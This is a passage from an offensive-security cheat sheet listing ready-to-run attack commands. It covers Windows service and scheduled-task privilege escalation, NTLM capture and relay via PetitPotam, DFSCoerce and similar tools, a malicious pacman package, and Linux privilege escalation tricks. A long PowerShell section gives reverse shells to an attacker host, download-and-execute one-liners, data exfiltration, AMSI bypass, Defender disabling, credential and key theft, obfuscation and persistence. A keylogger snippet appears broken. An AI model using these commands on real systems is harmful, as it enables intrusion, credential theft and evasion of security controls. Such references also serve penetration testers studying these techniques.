PS C:\> $ModifiableFiles = echo 'C:\PATH\TO\BINARY\<BINARY>.exe' | Get-ModifiablePath -Literal
PS C:\> $ModifiableFiles
PS C:\> $ModifiableFiles = echo 'C:\PATH\TO\BINARY\<BINARY>.exe argument' | Get-ModifiablePath -Literal
PS C:\> $ModifiableFiles
PS C:\> $ModifiableFiles = echo 'C:\PATH\TO\BINARY\<BINARY>.exe argument -conf=C:\temp\path' | Get-ModifiablePath -Literal
PS C:\> $ModifiableFiles
```

### Unquoted Service Paths

#### Search Order

```console
C:\example.exe
C:\Program Files\example.exe
C:\Program Files\my example\example.exe
C:\Program Files\my example\my example\example.exe
```

#### Service Path Enumeration

```cmd
PS C:\> Get-CimInstance -ClassName win32_service | Select Name,State,PathName
PS C:\> wmic service get name,pathname |  findstr /i /v "C:\Windows\\" | findstr /i /v """
PS C:\> Start-Service <SERVICE>
PS C:\> Stop-Service <SERVICE>
PS C:\> icacls "C:\"
PS C:\> icacls "C:\Program Files"
PS C:\> icacls "C:\Program Files\my example"
```

Place a `.exe` file in the desired folder, then `start` or `restart` the `service`.

```cmd
PS C:\> Start-Service <SERVICE>
```

##### Checking Local Administrators Group

```cmd
PS C:\> Get-LocalGroupMember administrators
```

#### PowerView

```cmd
PS C:\> powershell -ep bypass
PS C:\> . .\PowerUp.ps1
PS C:\> Get-UnquotedService
PS C:\> Write-ServiceBinary -Name '<SERVICE>' -Path "C:\Program Files\my example\example.exe"
PS C:\> Start-Service <SERVICE>
```

##### Checking Local Administrators Group

```cmd
PS C:\> Get-LocalGroupMember administrators
```

### Scheduled Tasks

#### Scheduled Tasks Enumeration

```cmd
PS C:\> schtasks /query /fo LIST /v
PS C:\> icacls C:\PATH\TO\BINARY\<BINARY>.exe
```

Place a `.exe` file in the desired folder and wait for the `scheduled task` to get `executed`.

##### Checking Local Administrators Group

```cmd
PS C:\> Get-LocalGroupMember administrators
```

## Microsoft Windows Defender

### Check Whitelisted Paths

```cmd
PS C:\> reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths"
```

### Disable Windows Defender

```cmd
PS C:\> Set-MpPreference -DisableRealtimeMonitoring $true
```

or

```cmd
PS C:\> sc config WinDefend start= disabled
PS C:\> sc stop WinDefend
```

### Malicious Test String

```cmd
PS C:\> $str = 'amsiinitfailed'
```

## Minimalistic Offensive Security Tools

> https://github.com/InfosecMatter/Minimalistic-offensive-security-tools

### port-scan-tcp.ps1

```cmd
PS C:\> IEX(New-Object Net.WebClient).DownloadString('http://<RHOST>/port-scan-tcp.ps1')
```

## New Technology Lan Manager (NTLM)

### NTLM Hash Conversion

```python
$ python3 -c 'import hashlib; print(hashlib.new("md4","P@ssw0rd123".encode("utf-16le")).hexdigest())'
```

### Unauthenticated

#### LLMNR/mDNS/NBNS Poisoning

##### Capture

```console
$ sudo responder -I eth0
$ sudo responder -I eth0 -A
$ sudo responder -I eth0 -W
```

##### Relay

```console
$ python ntlmrelayx.py -smb2support -t <RHOST>
$ python ntlmrelayx.py -6 -smb2support -t <RHOST>
```

#### DHCPv6 Spoofing

##### Capture

```console
$ sudo responder -I eth0 -A
$ mitm6 -d <DOMAIN> -hb <LHOST>
```

##### Relay

```console
$ mitm6 -d <DOMAIN> -hb <LHOST>
$ python ntlmrelayx.py -6 -smb2support -t <RHOST>
```

#### PetitPotam

##### Capture

```console
$ sudo responder -I eth0 -A
$ python PetitPotam.py <LHOST> <RHOST>
```

or

```console
$ sudo responder -I eth0 -A
$ netexec smb <RHOST> -M coerce_plus -M Petitpotam -L <LHOST>
```

##### Relay

```console
$ python ntlmrelayx.py -smb2support -t <RHOST>
$ python PetitPotam.py <LHOST> <RHOST>
```

or

```console
$ python ntlmrelayx.py -smb2support -t <RHOST>
$ netexec smb <RHOST> -M coerce_plus -M Petitpotam -L <LHOST>
```

### Authenticated

#### PetitPotam

##### Capture

```console
$ sudo responder -I eth0 -A
$ python PetitPotam.py -d <DOMAIN> -u <USERNAME> -p '<PASSWORD>' <LHOST> <RHOST>
```

or

```console
$ sudo responder -I eth0 -A
$ netexec smb <RHOST> -u <USERNAME> -p '<PASSWORD>' -M coerce_plus -M Petitpotam -L <LHOST>
```

##### Relay

```console
$ python ntlmrelayx.py -smb2support -t <RHOST>
$ python PetitPotam.py -d <DOMAIN> -u <USERNAME> -p '<PASSWORD>' <LHOST> <RHOST>
```

or

```console
$ python ntlmrelayx.py -smb2support -t <RHOST>
$ netexec smb <RHOST> -u <USERNAME> -p '<PASSWORD>' -M coerce_plus -M Petitpotam -L <LHOST>
```

#### DFSCoerce

##### Capture

```console
$ sudo responder -I eth0 -A
$ python dfscoerce.py -d <DOMAIN> -u <USERNAME> -p '<PASSWORD>' <LHOST> <RHOST>
```

or

```console
$ sudo responder -I eth0 -A
$ netexec smb <RHOST> -u <USERNAME> -p '<PASSWORD>' -M coerce_plus -M DFSCoerce -L <LHOST>
```

##### Relay

```console
$ python ntlmrelayx.py -smb2support -t <RHOST>
$ python dfscoerce.py -d <DOMAIN> -u <USERNAME> -p '<PASSWORD>' <LHOST> <RHOST>
```

or

```console
$ python ntlmrelayx.py -smb2support -t <RHOST>
$ netexec smb <RHOST> -u <USERNAME> -p '<PASSWORD>' -M coerce_plus -M DFSCoerce -L <LHOST>
```

#### ShadowCoerce

##### Capture

```console
$ sudo responder -I eth0 -A
$ python shadowcoerce.py -d <DOMAIN> -u <USERNAME> -p '<PASSWORD>' <LHOST> <RHOST>
```

or

```console
$ sudo responder -I eth0 -A
$ netexec smb <RHOST> -u <USERNAME> -p '<PASSWORD>' -M coerce_plus -M ShadowCoerce -L <LHOST>
```

##### Relay

```console
$ python ntlmrelayx.py -smb2support -t <RHOST>
$ python shadowcoerce.py -d <DOMAIN> -u <USERNAME> -p '<PASSWORD>' <LHOST> <RHOST>
```


```console
$ python ntlmrelayx.py -smb2support -t <RHOST>
$ netexec smb <RHOST> -u <USERNAME> -p '<PASSWORD>' -M coerce_plus -M ShadowCoerce -L <LHOST>
```

#### PrinterBug

##### Capture

```console
$ responder -I eth0 -A
$ python printerbug.py '<DOMAIN>/<USERNAME>':'<PASSWORD>'@'<RHOST>' <LHOST>
```

or

```console
$ responder -I eth0 -A
$ netexec smb <RHOST> -u <USERNAME> -p '<PASSWORD>' -M coerce_plus -M Printerbug -L <LHOST>
```

##### Relay

```console
$ python ntlmrelayx.py -smb2support -t <RHOST>
$ python printerbug.py '<DOMAIN>/<USERNAME>':'<PASSWORD>'@'<RHOST>' <LHOST>
```

or

```console
$ python ntlmrelayx.py -smb2support -t <RHOST>
$ netexec smb <RHOST> -u <USERNAME> -p '<PASSWORD>' -M coerce_plus -M Printerbug -L <LHOST>
```

#### MSEven (CheeseOunce)

##### Capture

```console
$ sudo responder -I eth0 -A
$ python cheese.py '<DOMAIN>/<USERNAME>':'<PASSWORD>'@'<RHOST>' <LHOST>
```

or

```console
$ sudo responder -I eth0 -A
$ netexec smb <RHOST> -u <USERNAME> -p '<PASSWORD>' -M coerce_plus -M MSEven -L <LHOST>
```

##### Relay

```console
$ python ntlmrelayx.py -smb2support -t <RHOST>
$ python cheese.py '<DOMAIN>/<USERNAME>':'<PASSWORD>'@'<RHOST>' <LHOST>
```

or

```console
$ python ntlmrelayx.py -smb2support -t <RHOST>
$ netexec smb <RHOST> -u <USERNAME> -p '<PASSWORD>' -M coerce_plus -M MSEven -L <LHOST>
```

#### WebDAV Coercion

##### Prerequisites

###### Check for WebClient Service

```console
$ webclientservicescanner '<DOMAIN>/<USERNAME>':'<PASSWORD>'@'<RHOST>'
```

or

```console
$ netexec smb <RHOST> -u <USERNAME> -p '<PASSWORD>' -M webdav
```

###### Get a NetBIOS Name

###### LLMNR/mDNS/NBNS Poisoning

```console
$ sudo responder -I eth0 -w
```

###### ADIDNS Poisoning

```console
$ python dnstool.py -u '<DOMAIN>\<USERNAME>' -p '<PASSWORD>' -a add -r '<DOMAIN>' -d <LHOST> <RHOST>
```

#### PetitPotam via WebDAV

##### Capture

###### LLMNR/mDNS/NBNS Poisoning

```console
$ sudo responder -I eth0 -w
$ python PetitPotam.py -d <DOMAIN> -u <USERNAME> -p '<PASSWORD>' 'UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA@80/foobar' <RHOST>
```

###### ADIDNS Poisoning

```console
$ sudo responder -I eth0 -A
$ python dnstool.py -u '<DOMAIN>\<USERNAME>' -p '<PASSWORD>' -a add -r '<DOMAIN>' -d <LHOST> <RHOST>
$ python PetitPotam.py -d <DOMAIN> -u <USERNAME> -p '<PASSWORD>' 'UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA@80/foobar' <RHOST>
```

##### Relay

###### LLMNR/mDNS/NBNS Poisoning

```console
$ sudo responder -I eth0 -w
$ python ntlmrelayx.py --no-smb-server -t <RHOST>
$ python PetitPotam.py -d <DOMAIN> -u <USERNAME> -p '<PASSWORD>' 'UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA@80/foobar' <RHOST>
```

###### ADIDNS Poisoning

```console
$ python dnstool.py -u '<DOMAIN>\<USERNAME>' -p '<PASSWORD>' -a add -r '<DOMAIN>' -d <LHOST> <RHOST>
$ python ntlmrelayx.py -t <RHOST> --no-smb-server
$ python PetitPotam.py -d <DOMAIN> -u <USERNAME> -p '<PASSWORD>' 'UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAAt@80/foobar' <RHOST>
```

#### DFSCoerce via WebDAV

##### Capture

###### LLMNR/mDNS/NBNS Poisoning

```console
$ sudo responder -I eth0 -w
$ python dfscoerce.py -d <DOMAIN> -u <USERNAME> -p '<PASSWORD>' 'UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA@80/foobar' <RHOST>
```

###### ADIDNS Poisoning

```console
$ sudo responder -I eth0 -A
$ python dnstool.py -u '<DOMAIN>\<USERNAME>' -p '<PASSWORD>' -a add -r '<DOMAIN>' -d <LHOST> <RHOST>
$ python dfscoerce.py -d <DOMAIN> -u <USERNAME> -p '<PASSWORD>' 'UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA@80/foobar' <RHOST>
```

##### Relay

###### LLMNR/mDNS/NBNS Poisoning

```console
$ sudo responder -I eth0 -w
$ python ntlmrelayx.py --no-smb-server -t <RHOST>
$ python dfscoerce.py -d <DOMAIN> -u <USERNAME> -p '<PASSWORD>' 'bogus@80/foobar' <RHOST>
```

###### ADIDNS Poisoning

```console
$ python dnstool.py -u '<DOMAIN>\<USERNAME>' -p '<PASSWORD>' -a add -r '<DOMAIN>' -d <LHOST> <RHOST>
$ python ntlmrelayx.py -t <RHOST> --no-smb-server
$ python dfscoerce.py -d <DOMAIN> -u <USERNAME> -p '<PASSWORD>' 'UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA@80/foobar' <RHOST>
```

### NTLM Protocol Vulnerabilities

#### NTLMv1

**Vulnerability:** Can be cracked with rainbow tables

**Mitigation:** Use Security Support Provider (SSP) which contains Extended Session Security (ESS)

**Fixed Protocol:** NTLMv1-SSP

#### NTLMv2 (with Drop the MIC CVE)

**Vulnerability:** Cross-protocol Relay (SMB > LDAP)

**Mitigation:** Implement Message Integrity Check (MIC)

**Fixed Protocol:** NTLMv2 (patched)

#### All NTLM Versions

**Vulnerabilities:** Relay attacks

**Mitigations (Server-Side):**

1. Signing
2. Extended Protection for Authentication (EPA)
   - Service binding
   - Channel binding

**Note:** These are server-side mitigations and no fully fixed protocol exists for all relay scenarios.

## NGINX

### ngx_http_dav_module Privilege Escalation

> https://nginx.org/en/docs/http/ngx_http_dav_module.html

```console
$ cat << EOF> /tmp/<FILE>.conf
user root;
worker_processes 4;
pid /tmp/nginx.pid;events {
worker_connections 768;
}
http {
server {
listen 9001;
root /;
autoindex on;
dav_methods PUT;
}
}
EOF
```

```console
$ sudo nginx -c /tmp/<FILE>.conf
```

```console
$ curl -X PUT localhost:1337/root/.ssh/authorized_keys -d "$(cat <SSH_KEY>.pub)"
```

## NTDS.Sqlite

```console
$ ntdsdotsqlite ntds.dit --system SYSTEM -o NTDS.sqlite
```

## pacman

### Malicious pacman Package

#### Custom PKGBUILD Package

```console
pkgname=malicious_pkg
pkgver=1.0
pkgrel=1
pkgdesc="Malicious package for privilege escalation"
arch=('x86_64')
url="https://example.com"
license=('GPL')
depends=()
source=()
md5sums=()

package() {
    # Malicious command executed as root
    mkdir -p "${pkgdir}/root/.ssh"
    echo "<SSH_KEY>" > "${pkgdir}/root/.ssh/authorized_keys"
    chmod 700 "${pkgdir}/root/.ssh"
    chmod 600 "${pkgdir}/root/.ssh/authorized_keys"
}
```

#### Set Permissions

```console
$ chmod 644 PKGBUILD
```

#### Build Packages

```console
$ makepkg --force --noextract --nodeps
```

#### Execute pacman

```console
$ sudo /usr/bin/pacman -U ./malicious_pkg-1.0-1-x86_64.pkg.tar.zst 
```

## PassTheCert

> https://offsec.almond.consulting/authenticating-with-certificates-when-pkinit-is-not-supported.html

> https://github.com/AlmondOffSec/PassTheCert/tree/main/Python

```console
$ certipy-ad cert -pfx <CERTIFICATE>.pfx -nokey -out <CERTIFICATE>.crt
$ certipy-ad cert -pfx <CERTIFICATE>.pfx -nocert -out <CERTIFICATE>.key
$ python3 passthecert.py -domain '<DOMAIN>' -dc-host '<DOMAIN>' -action 'modify_user' -target '<USERNAME>' -new-pass '<PASSWORD>' -crt ./<CERTIFICATE>.crt -key ./<CERTIFICATE>.key
$ evil-winrm -i '<RHOST>' -u '<USERNAME>' -p '<PASSWORD>'
```

## Path Variable Hijacking

### Finding accessible SUID Files

```console
$ find / -perm -u=s -type f 2>/dev/null
```

### Find writeable Paths

```console
$ find / -writable 2>/dev/null | cut -d "/" -f 2,3 | grep -v proc | sort -u
```

### Add current Directory

```console
$ export PATH=$(pwd):$PATH
```

### Binary File

```console
$ cd /tmp
$ vi <FILE>
$ chmod +x ./<FILE>
$ PATH=$(pwd):$PATH <SUID_FILE>
```

## Perl

### Environment Variable Arbitrary Code Execution

> https://www.elttam.com/blog/env/#content

```console
$ sudo PERL5OPT=-d PERL5DB='system("chmod u+s /bin/bash");' exit;
```

## PetitPotam

> https://github.com/topotam/PetitPotam

```console
$ python3 PetitPotam.py -u <USERNAME> -hashes :<HASH> -dc-ip <RHOST> <LHOST> <RHOST>
```

## PHP7.2

```console
$ /usr/bin/php7.2 -r "pcntl_exec('/bin/bash', ['-p']);"
```

## pika

### Remote Code Execution (RCE)

```python
#!/usr/bin/env python

import pika

credentials = pika.PlainCredentials('<USERNAME>', '<PASSWORD>')
parameters = pika.ConnectionParameters('<LHOST>',5672,'/',credentials)
connection = pika.BlockingConnection(parameters)
channel = connection.channel()
channel.basic_publish(exchange='', routing_key='plugin_data', body='http://127.0.0.1:9001/<SCRIPT>')
connection.close()
```

## Ping Sweep

### On a Linux Operating System

```console
$ for ip in {1..254}; do (ping -c 1 <XXX.XXX.XXX>.${ip} | grep "bytes from" | grep -v "Unreachable" &); done;
```

### On a Windows Operating System

```cmd
PS C:\> 1..255 | ForEach-Object { $ip = "<XXX.XXX.XXX>.$_"; if (Test-Connection -ComputerName $ip -Count 1 -Quiet) { $ip } }
```

### With Meterpreter

```console
meterpreter > (for /L %a IN (1,1,254) DO ping /n 1 /w 1 <XXX.XXX.XXX>.%a) | find "Reply"
```

## PKINITtools

```console
$ python3 gettgtpkinit.py -cert-pfx <USERNAME>.pfx -dc-ip <RHOST> <DOMAIN>/<USERNAME> <USERNAME>.ccache
$ export KRB5CCNAME=<USERNAME>.ccache
$ python3 getnthash.py <DOMAIN>/<USERNAME> -key 6617cde50b7ee63faeb6790e84981c746efa66f68a1cc3a394bbd27dceaf0554
```

### Error Handling

#### Fixing socket ssl wrapping error: [Errno 104] Connection reset by peer Error

> https://takraw-s.medium.com/fix-errors-socket-ssl-wrapping-error-errno-104-connection-reset-by-peer-9c63c551cd7

> https://github.com/fortra/impacket/issues/581

```console
$ sudo vi /etc/ssl/openssl.cnf
```

change

```console
[system_default_sect]
MinProtocol = TLSv1.2
CipherString = DEFAULT:@SECLEVEL=2
```

to

```console
[system_default_sect]
MinProtocol = TLSv1.0
CipherString = DEFAULT:@SECLEVEL=1
```

Alternatively you can create your own `openssl.cnf` and `export` the path to it.

```console
$ export OPENSSL_CONF=/PATH/TO/FOLDER/openssl.cnf
```

## plotting

Exploit race condition on linux by swapping file paths between 2 files very quickly (normal file, symlink to root owned file, swap, swap ,swap).

```c
#define _GNU_SOURCE
#include <stdio.h>
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <linux/fs.h>

int main(int argc, char *argv[]) {
  while (1) {
    syscall(SYS_renameat2, AT_FDCWD, argv[1], AT_FDCWD, argv[2], RENAME_EXCHANGE);
  }
  return 0;
}
```

## Port Scanning

### On a Linux Operating System

```console
$ nc -zv 127.0.0.1 1-65535 | grep succeeded
```

```console
$ for i in $(seq 1 254); do nc -zv -w 1 <XXX.XXX.XXX>.$i <RPORT>; done
```

```console
$ for port in {1..65535}; do echo > /dev/tcp/<RHOST>/$port && echo "$port open"; done 2>/dev/null
```

### On a Windows Operating System

```cmd
PS C:\> 1..65535 | % {echo ((new-object Net.Sockets.TcpClient).Connect("<RHOST>",$_)) "$_ port open"} 2>$null
```

## PoshADCS

>  https://github.com/cfalta/PoshADCS/blob/master/ADCS.ps1

```cmd
PS C:\> curl http://<LHOST>/ADCS.ps1 | iex
PS C:\> Get-SmartCardCertificate -Identity Administrator -TemplateName Web -NoSmartCard -Verbose
PS C:\> gci cert:\currentuser\my -recurse
```

## powercat

> https://github.com/besimorhino/powercat

```cmd
PS C:\> powershell -c "IEX(New-Object System.Net.WebClient).DownloadString('http://<LHOST>/powercat.ps1'); powercat -c <LHOST> -p <LPORT> -e powershell"
```

### File Transfer

```console
$ impacket-smbserver share . -smb2support
```

```cmd
PS C:\> Import-Module .\powercat.ps1
PS C:\> powercat -c <LHOST> -p 445 -i C:\PATH\TO\FILE\<FILE>
```

## Powermad

```cmd
PS C:\> Import-Module .\Powermad.ps1
PS C:\> $secureString = convertto-securestring "<PASSWORD>" -asplaintext -force
PS C:\> New-MachineAccount -MachineAccount <MACHINE_ACCOUNT> -Domain <DOMAIN> -DomainController <DOMAIN> -Password $secureString
```

## PowerShell

> https://redteamrecipe.com/powershell-tips-tricks/?s=09

### Enumerating System Information

```cmd
PS C:\> Get-WmiObject -Class Win32_OperatingSystem | Select-Object -Property *
```

### Extracting Network Configuration

```cmd
PS C:\> Get-NetIPConfiguration | Select-Object -Property InterfaceAlias, IPv4Address, IPv6Address, DNServer
```

### Listing Running Processes with Details

```cmd
PS C:\> Get-Process | Select-Object -Property ProcessName, Id, CPU | Sort-Object -Property CPU -Descending
```

### Accessing Event Logs for Anomalies

```cmd
PS C:\> Get-EventLog -LogName Security | Where-Object {$_.EntryType -eq 'FailureAudit'}
```

### Scanning for Open Ports

```cmd
PS C:\> 1..1024 | ForEach-Object { $sock = New-Object System.Net.Sockets.TcpClient; $async = $sock.BeginConnect('localhost', $_, $null, $null); $wait = $async.AsyncWaitHandle.WaitOne(100, $false); if($sock.Connected) { $_ } ; $sock.Close() }
```

### Retrieving Stored Credentials

```cmd
PS C:\> $cred = Get-Credential; $cred.GetNetworkCredential() | Select-Object -Property UserName, Password
```

### Executing Remote Commands

```cmd
PS C:\> Invoke-Command -ComputerName TargetPC -ScriptBlock { Get-Process } -Credential (Get-Credential)
```

### Downloading and Executing Scripts from URL

```cmd
PS C:\> $url = 'http://<LHOST>/<FILE>.ps1'; Invoke-Expression (New-Object Net.WebClient).DownloadString($url)
```

### Bypassing Execution Policy for Script Execution

```cmd
PS C:\> Set-ExecutionPolicy Bypass -Scope Process -Force; .\<FILE>.ps1
```

### Enumerating Domain Users

```cmd
PS C:\> Get-ADUser -Filter * -Properties * | Select-Object -Property Name, Enabled, LastLogonDate
```

### Capturing Keystrokes

```cmd
PS C:\> $path = 'C:\<FILE>.txt'; Add-Type -AssemblyName System.Windows.Forms; $listener = New-Object System.Windows.Forms.Keylogger; [System.Windows.Forms.Application]::Run($listener); $listener.Keys | Out-File -FilePath $path
```

### Extracting Wi-Fi Profiles and Passwords

```cmd
PS C:\> netsh wlan show profiles | Select-String -Pattern 'All User Profile' -AllMatches | ForEach-Object { $_ -replace 'All User Profile *: ', '' } | ForEach-Object { netsh wlan show profile name="$_" key=clear }
```

### Monitoring File System Changes

```cmd
PS C:\> $watcher = New-Object System.IO.FileSystemWatcher; $watcher.Path = 'C:\'; $watcher.IncludeSubdirectories = $true; $watcher.EnableRaisingEvents = $true; Register-ObjectEvent $watcher 'Created' -Action { Write-Host 'File Created: ' $Event.SourceEventArgs.FullPath }
```

### Creating Reverse Shell

```cmd
PS C:\> $client = New-Object System.Net.Sockets.TCPClient('<LHOST>', <LPORT>); $stream = PS C:\> $client.GetStream(); [byte[]]$bytes = 0..65535...
```

### Disabling Windows Defender

```cmd
PS C:\> Set-MpPreference -DisableRealtimeMonitoring $true
```

### Extracting Browser Saved Passwords

```cmd
PS C:\> Invoke-WebBrowserPasswordDump | Out-File -FilePath C:\<FILE>.txt
```

### Conducting Network Sniffing

```cmd
PS C:\> $adapter = Get-NetAdapter | Select-Object -First 1; New-NetEventSession -Name '<NAME>' -CaptureMode SaveToFile -LocalFilePath 'C:\<FILE>.etl'; Add-NetEventPacketCaptureProvider -SessionName '<NAME>' -Level 4 -CaptureType Both -Enable; Start-NetEventSession -Name '<NAME>'; Stop-NetEventSession -Name '<NAME>' after 60
```

### Bypassing AMSI (Anti-Malware Scan Interface)

```cmd
PS C:\> [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
```

### Extracting System Secrets with Mimikatz

```cmd
PS C:\> Invoke-Mimikatz -Command '"sekurlsa::logonpasswords"' | Out-File -FilePath C:\<FILE>.txt
```

### String Obfuscation

```cmd
PS C:\> $originalString = 'SensitiveCommand'; $obfuscatedString = [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($originalString)); $decodedString = [System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($obfuscatedString)); Invoke-Expression $decodedString
```

### Command Aliasing

```cmd
PS C:\> $alias = 'Get-Dir'; Set-Alias -Name $alias -Value Get-ChildItem; Invoke-Expression $alias
```

### Variable Name Obfuscation

```cmd
PS C:\> $o = 'Get'; $b = 'Process'; $cmd = $o + '-' + $b; Invoke-Expression $cmd
```

### File Path Obfuscation

```cmd
PS C:\> $path = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QzpcVGVtcFxBZG1pblRvb2xz')); Invoke-Item $path
```

### Using Alternate Data Streams for Evasion

```cmd
PS C:\> $content = 'Invoke-Mimikatz'; $file = 'C:\<FILE>.txt'; $stream = 'C:\<FILE>.txt:hidden'; Set-Content -Path $file -Value 'This is a normal file'; Add-Content -Path $stream -Value $content; Get-Content -Path $stream
```

### Bypassing Script Execution Policy

```cmd
PS C:\> $policy = Get-ExecutionPolicy; Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope Process; # Run your script here; Set-ExecutionPolicy -ExecutionPolicy $policy -Scope Process
```

### In-Memory Script Execution

```cmd
PS C:\> $code = [System.IO.File]::ReadAllText('C:\<FILE>.ps1'); Invoke-Expression $code
```

### Dynamic Invocation with Reflection

```cmd
PS C:\> $assembly = [Reflection.Assembly]::LoadWithPartialName('System.Management'); $type = $assembly.GetType('System.Management.ManagementObjectSearcher'); $constructor = $type.GetConstructor(@([string])); $instance = $constructor.Invoke(@('SELECT * FROM Win32_Process')); $method = $type.GetMethod('Get'); $result = $method.Invoke($instance, @())
```

### Encoded Command Execution

```cmd
PS C:\> $encodedCmd = [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes('Get-Process')); powershell.exe -EncodedCommand $encodedCmd
```

### Utilizing PowerShell Runspaces for Evasion

```cmd
PS C:\> $runspace = [runspacefactory]::CreateRunspace(); $runspace.Open(); $pipeline = $runspace.CreatePipeline(); $pipeline.Commands.AddScript('Get-Process'); $results = $pipeline.Invoke(); $runspace.Close(); $results
```

### Environment Variable Obfuscation

```cmd
PS C:\> $env:PSVariable = 'Get-Process'; Invoke-Expression $env:PSVariable
```

### Function Renaming for Evasion

```cmd
PS C:\> Function MyGetProc { Get-Process }; MyGetProc
```

### Using PowerShell Classes for Code Hiding

```cmd
PS C:\> class HiddenCode { [string] Run() { return 'Hidden command executed' } }; $instance = [HiddenCode]::new(); $instance.Run()
```

### Registry Key Usage for Persistence

```cmd
PS C:\> $path = 'HKCU:\Software\<FILE>'; New-Item -Path $path -Force; New-ItemProperty -Path $path -Name 'Config' -Value 'EncodedPayload' -PropertyType String -Force; $regValue = Get-ItemProperty -Path $path -Name 'Config'; Invoke-Expression $regValue.Config
```

### Out-Of-Band Data Exfiltration

```cmd
PS C:\> $data = Get-Process | ConvertTo-Json; Invoke-RestMethod -Uri 'http://<LHOST>/data' -Method Post -Body $data
```

### Using PowerShell to Access WMI for Stealth

```cmd
PS C:\> $query = 'SELECT * FROM Win32_Process'; Get-WmiObject -Query $query
```

### Scheduled Task for Persistence

```cmd
PS C:\> $action = New-ScheduledTaskAction -Execute 'Powershell.exe' -Argument '-NoProfile -WindowStyle Hidden -Command "<COMMAND>"'; $trigger = New-ScheduledTaskTrigger -AtStartup; Register-ScheduledTask -Action $action -Trigger $trigger -TaskName '<NAME>' -Description '<DESCRIPTION>'
```

### Using PowerShell to Interact with the Network Quietly

```cmd
PS C:\> $client = New-Object Net.Sockets.TcpClient('<LHOST>', 443); $stream = $client.GetStream(); # Send and receive data
```

### Base64 Encoding for Command Obfuscation

```cmd
PS C:\> $command = 'Get-Process'; $encodedCommand = [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($command)); powershell.exe -EncodedCommand $encodedCommand
```

### Utilizing PowerShell Add-Type for Code Execution

```cmd
PS C:\> Add-Type -TypeDefinition 'using System; public class <CLASS> { public static void Run() { Console.WriteLine("Executed"); } }'; [<CLASS>]::Run()
```

### Extracting Credentials from Windows Credential Manager

```cmd
PS C:\> $credman = New-Object -TypeName PSCredentialManager.Credential; $credman | Where-Object { $_.Type -eq 'Generic' } | Select-Object -Property UserName, Password
```

### Retrieving Passwords from Unsecured Files

```cmd
PS C:\> Select-String -Path C:\Users\*\Documents\*.txt -Pattern 'password' -CaseSensitive
```

### Dumping Credentials from Windows Services

```cmd
PS C:\> Get-WmiObject win32_service | Where-Object {$_.StartName -like '*@*'} | Select-Object Name, StartName, DisplayName
```

### Extracting Saved RDP Credentials

```cmd
PS C:\> cmdkey /list | Select-String 'Target: TERMSRV' | ForEach-Object { cmdkey /delete:($_ -split ' ')[-1] }
```

### Retrieving Browser Cookies for Credential Theft

```cmd
PS C:\> $env:USERPROFILE + '\AppData\Local\Google\Chrome\User Data\Default\Cookies' | Get-Item
```

### Extracting Credentials from IIS Application Pools

```cmd
PS C:\> Import-Module WebAdministration; Get-IISAppPool | Select-Object Name, ProcessModel
```

### Reading Credentials from Configuration Files

```cmd
PS C:\> Get-ChildItem -Path C:\ -Include *.config -Recurse | Select-String -Pattern 'password='
```

### Dumping Credentials from Scheduled Tasks

```cmd
PS C:\> Get-ScheduledTask | Where-Object {$_.Principal.UserId -notlike 'S-1-5-18'} | Select-Object TaskName, TaskPath, Principal
```

### Extracting SSH Keys from User Directories

```cmd
PS C:\> Get-ChildItem -Path C:\Users\*\.ssh\id_rsa -Recurse
```

### Retrieving Credentials from Database Connection Strings

```cmd
PS C:\> Select-String -Path C:\inetpub\wwwroot\*.config -Pattern 'connectionString' -CaseSensitive
```

### Simple PowerShell Reverse Shell

```cmd
PS C:\> $client = New-Object System.Net.Sockets.TCPClient('<LHOST>', <LPORT>); $stream = $client.GetStream(); [byte[]]$bytes = 0..65535|%{0}; while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){; $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i); $sendback = (iex $data 2>&1 | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> '; $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); $stream.Write($sendbyte,0,$sendbyte.Length); $stream.Flush()}; $client.Close()
```

### HTTP-Based PowerShell Reverse Shell

```cmd
PS C:\> while($true) { try { $client = New-Object System.Net.Sockets.TCPClient('<LHOST>', <LPORT>); $stream = $client.GetStream(); [byte[]]$bytes = 0..65535|%{0}; while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){; $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i); $sendback = (iex $data 2>&1 | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> '; $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); $stream.Write($sendbyte,0,$sendbyte.Length); $stream.Flush()}; $client.Close() } catch { Start-Sleep -Seconds 10 } }
```

### WebSocket-Based PowerShell Reverse Shell

```cmd
PS C:\> $ClientWebSocket = New-Object System.Net.WebSockets.ClientWebSocket; $uri = New-Object System.Uri("ws://<LHOST>:<LPORT>"); $ClientWebSocket.ConnectAsync($uri, $null).Result; $buffer = New-Object Byte[] 1024; while ($ClientWebSocket.State -eq 'Open') { $received = $ClientWebSocket.ReceiveAsync($buffer, $null).Result; $command = [System.Text.Encoding]::ASCII.GetString($buffer, 0, $received.Count); $output = iex $command 2>&1 | Out-String; $bytesToSend = [System.Text.Encoding]::ASCII.GetBytes($output); $ClientWebSocket.SendAsync($bytesToSend, 'Binary', $true, $null).Wait() }
```

